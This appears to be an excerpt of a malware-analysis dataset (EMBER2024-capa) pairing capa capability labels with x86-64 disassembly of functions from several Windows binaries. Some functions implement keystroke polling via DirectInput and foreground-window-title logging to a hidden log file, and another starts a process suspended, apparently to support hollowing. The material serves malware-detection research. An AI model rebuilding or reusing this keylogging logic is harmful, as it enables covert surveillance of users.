joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180011dd0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
dec edx
jne 0x180011e14
cmp qword [0x1800461a8], 0
jne 0x180011e14
xor eax, eax
lea r8, [0x180011790]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
mov qword [0x1800461a8], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
add rsp, 0x38
ret

Function at 0x180011e20
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
xor eax, eax
lea r8, [0x180011790]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
xor al, al
add rsp, 0x38
ret
Function at 0x180011e70
Capabilities:
Check mutex on windows
Delete file
Get common file path
Get file size
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x60
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x58], rax
xor r9d, r9d
mov rsi, rdx
mov rbp, rcx
lea r13, [0x180045c90]
lea edx, [r9 + 0x23]
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], r13
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, str.DisplaySessionContainers.log
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov r8, r13
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
or edx, 0xffffffff
mov rcx, rax
mov qword [0x180046770], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor r12d, r12d
xor r9d, r9d
mov qword [rsp + 0x30], r12
lea r8d, [r12 + 2]
mov edx, 0x40000000
mov rcx, r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor edx, edx
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0x3200000
jbe 0x180011f3b
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [0x180046770]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsi]
lea r9, [0x1800461b8]
lea r8, [0x1800335d8]
mov edx, 0x800
mov qword [rsp + 0x20], r12
call qword [sym.imp.DINPUT8.dll_DirectInput8Create]
test eax, eax
jns 0x180011f74
xor al, al
jmp 0x180012051
mov rcx, qword [0x1800461b8]
lea r8, [0x1800461c0]
lea rdx, [0x1800335f8]
mov rax, qword [rcx]
xor r9d, r9d
call qword [rax + 0x18]
test eax, eax
js 0x180011f6d
mov rcx, qword [0x1800461c0]
lea rdx, [0x1800335b8]
mov rax, qword [rcx]
call qword [rax + 0x58]
test eax, eax
js 0x180011f6d
mov rcx, qword [0x1800461c0]
mov rdx, qword [rbp]
mov r8d, 0xa
mov rax, qword [rcx]
call qword [rax + 0x68]
test eax, eax
js 0x180011f6d
mov rcx, qword [0x1800461c0]
mov dword [rsp + 0x40], socket
mov qword [rsp + 0x44], reloc.WS2_32.dll_recv
mov dword [rsp + 0x4c], r12d
mov dword [rsp + 0x50], 0x3c
mov rax, qword [rcx]
lea r8, [rsp + 0x40]
mov edx, 1
call qword [rax + 0x30]
test eax, eax
js 0x180011f6d
mov rcx, qword [0x1800461c0]
mov rax, qword [rcx]
call qword [rax + gethostname]
test eax, eax
js 0x180011f6d
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, socket
mov dword [0x180046fb8], eax
call qword [sym.imp.USER32.dll_GetKeyState]
cmp ax, 0xff81
je 0x180012045
mov dword [0x18004677c], r12d
cmp ax, 1
jne 0x18001204f
mov dword [0x18004677c], 1
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.180014f50
mov rbx, qword [rsp + 0xa0]
add rsp, 0x60
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180012080
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rcx
mov rcx, qword [0x180046770]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor r9d, r9d
mov qword [rsp + 0x30], 0
lea rcx, [0x180045c90]
lea r8d, [r9 + 2]
mov edx, 0x40000000
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180012131
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x58], 0
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r9, [rsp + 0x58]
mov rdx, rdi
lea r8d, [rax + rax]
mov rcx, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x180046770]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x180012140
Capabilities:
Get graphical window text

Disassembly:
push rbx
sub rsp, 0x870
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x860], rax
lea rcx, [0x180046790]
xor edx, edx
mov r8d, 0x800
call fcn.180017e30
call qword [sym.imp.USER32.dll_GetForegroundWindow]
lea rdx, [0x180046790]
mov rcx, rax
mov r8d, 0x800
mov qword [0x180046788], rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rcx, [rsp + 0x62]
xor ebx, ebx
xor edx, edx
mov r8d, 0x7fe
mov word [rsp + 0x60], bx
call fcn.180017e30
mov r11, qword [0x180046780]
cmp qword [0x180046788], r11
je 0x18001225c
lea rcx, [0x180046790]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x18001224e
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [rsp + 0x58]
movzx ecx, word [rsp + 0x52]
movzx r11d, word [rsp + 0x5c]
movzx eax, word [rsp + 0x5a]
movzx r10d, word [rsp + 0x56]
movzx r9d, word [rsp + 0x50]
mov dword [rsp + 0x40], r11d
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x20], ecx
lea rcx, [rsp + 0x60]
lea r8, [0x180046790]
lea rdx, [0x180034b20]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x60]
call fcn.180012080
lea rcx, [0x180046790]
xor edx, edx
mov r8d, 0x800
call fcn.180017e30
mov ebx, 1
mov rcx, qword [0x180046788]
mov qword [0x180046780], rcx
mov eax, ebx
mov rcx, qword [rsp + 0x860]
xor rcx, rsp
call fcn.180014f50
add rsp, 0x870
pop rbx
ret
Function at 0x18001bad7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x18003ca90]
jne 0x180014f6a
rol rcx, 0x10
test cx, 0xffff
jne 0x180014f66
repz ret
ror rcx, 0x10
jmp 0x18001ba30
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x180044790]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x180044888]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x18001bab5
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x180044790]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x18001bad7
mov rax, qword [rsp + 0x88]
mov qword [0x180044888], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x180044828], rax
mov rax, qword [0x180044888]
mov qword [0x180044700], rax
mov rax, qword [rsp + 0x90]
mov qword [0x180044810], rax
mov dword [0x1800446f0], 0xc0000409
mov dword [0x1800446f4], 1
mov rax, qword [0x18003ca90]
mov qword [rsp + 0x68], rax
mov rax, qword [0x18003ca98]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x180044788], eax
mov ecx, 1
call fcn.1800269f4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x180030bd8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x180044788], 0
jne 0x18001bb5e
mov ecx, 1
call fcn.1800269f4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x180026b04
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.18001e118
xor ebx, ebx
cmp qword [0x1800457e0], rbx
mov rdi, rax
jne 0x180026c17
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x180026cee
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180026cee
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x1800457e0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x1800457e8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x1800457f0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x180045800], rax
test rax, rax
je 0x180026c0e
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x1800457f8], rax
jmp 0x180026c1e
mov rax, qword [0x1800457f8]
jmp 0x180026c25
mov rax, qword [0x1800457f8]
mov r11, qword [0x180045800]
cmp rax, rdi
je 0x180026c8c
cmp r11, rdi
je 0x180026c8c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x180045800]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x180026c8c
test rax, rax
je 0x180026c8c
call rsi
test rax, rax
je 0x180026c86
lea rcx, [rsp + 0x30]
mov r9d, reloc.WS2_32.dll_inet_ntoa
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x180026c86
test byte [rsp + 0x40], 1
jne 0x180026c8c
bts ebp, 0x15
jmp 0x180026ccc
mov rcx, qword [0x1800457e8]
cmp rcx, rdi
je 0x180026ccc
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180026ccc
call rax
mov rbx, rax
test rax, rax
je 0x180026ccc
mov rcx, qword [0x1800457f0]
cmp rcx, rdi
je 0x180026ccc
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180026ccc
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x1800457e0]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180026cee
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x180026cf0
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180014f50
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004066a0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x004066b0]
mov dword [rax], 1
mov rax, qword [0x004066c0]
mov dword [rax], 1
mov rax, qword [0x00406690]
mov dword [rax], 1
mov rax, qword [0x00406580]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x00406680]
mov dword [0x00409008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x00406640]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x00406500]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058
Function at 0x4017d3
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push rbp
push rbx
sub rsp, 0xf8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x90], rcx
mov rax, qword [rbp + 0x90]
mov eax, dword [rax]
mov dword [rbp + 0x6c], eax
lea rdx, str.Processus_enfant
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp + 0x6c]
mov edx, eax
call sym.std::ostream::operator___int_
lea rdx, str._a_dmarr
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x00406530]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rax, [rbp - 0x10]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp - 0x30]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x10], 0x68
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rcx, str.C:Windows_system32_notepad.exe
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
setne al
test al, al
je 0x4018f7
mov ecx, 0x18
call sym.operator_new_unsigned_long_long_
mov qword [rbp + 0x60], rax
mov rax, qword [rbp + 0x60]
mov rdx, qword [rbp - 0x30]
mov qword [rax], rdx
mov rdx, qword [rbp - 0x28]
mov qword [rax + 8], rdx
mov rdx, qword [rbp - 0x20]
mov qword [rax + 0x10], rdx
mov rax, qword [rbp + 0x60]
jmp 0x401934
lea rdx, str.chec_de_la_cration_du_processus_enfant_:
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call sym.std::ostream::operator___unsigned_long_
mov rdx, qword [0x00406530]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov eax, 0
add rsp, 0xf8
pop rbx
pop rbp
ret
Function at 0x402260
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00409624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x4023e8
mov rax, qword [0x00409628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x4022ac
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x402335
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x402290
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x40241d
mov rax, qword [0x00409628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00409628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x402400
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x40232e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x402390
add dword [0x00409624], 1
cmp edi, 8
jae 0x402363
test dil, 4
jne 0x4023d4
test edi, edi
je 0x402358
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x4023ef
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x402358
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x40237c
jmp 0x402358
add rsi, qword [0x00409628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x40232e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x402358
xor esi, esi
jmp 0x4022b7
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x402358
mov rax, qword [0x00409628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x402b70
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00409900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004098e0]
test rbx, rbx
je 0x402bc4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x402bbb
test rsi, rsi
je 0x402bbb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402ba0
lea rcx, [0x00409900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x402e00
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x402e10
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x402e20
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402e61
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x402e58
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x402e63
add rax, 0x28
cmp rax, r9
jne 0x402e44
xor eax, eax
ret

Function at 0x402f00
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00406580]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x402f6d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402f6d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402f6d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402f64
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402f6f
add rax, 0x28
cmp rax, r9
jne 0x402f50
xor eax, eax
add rsp, 0x28
ret

Function at 0x403070
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00406580]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x403090
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x403088
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x4030ed
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x4030e4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x4030f4
add rax, 0x28
cmp rax, r9
jne 0x4030d0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x403110
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x00406580]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x40317e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40317e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x40317e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x40317e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x403175
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x403185
add rcx, 0x28
cmp rcx, rax
jne 0x403160
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x403198
jmp 0x40317e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x4031a6
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x40317e
test r9d, r9d
jg 0x403190
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x4048e0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x140002e30
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x140002e8d
lea rbx, [0x1400bc8f0]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x140002e74
cmp r10, 2
jb 0x140002e74
cmp byte [r9], r8b
jne 0x140002e74
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x140002e50
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x140002ecf
lea rbx, [0x1400bc8f0]
cmp r8b, 0x23
jne 0x140002eb3
cmp byte [r9], r8b
jne 0x140002eb3
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x140002ea0
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x140003010
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x14000302a
mov qword [r8], 0
lea rdx, [0x1400bc458]
call fcn.140002ee0
mov rbx, rax
test rax, rax
jne 0x14000304a
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x140003123
xor edx, edx
mov r8d, 2
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140003123
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x140003123
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140003123
cmp rdi, 0xffffffffffffffff
je 0x140003123
mov rax, qword [0x1401d1960]
test rax, rax
je 0x1400030c0
inc dword [rax + 0xf4]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x140003123
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x140003110
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x1401d1960]
test rax, rax
je 0x140003105
dec dword [rax + 0xf4]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x14000312c
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x14000311e
mov qword [r14], rdi
mov rax, rsi
jmp 0x14000312e
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret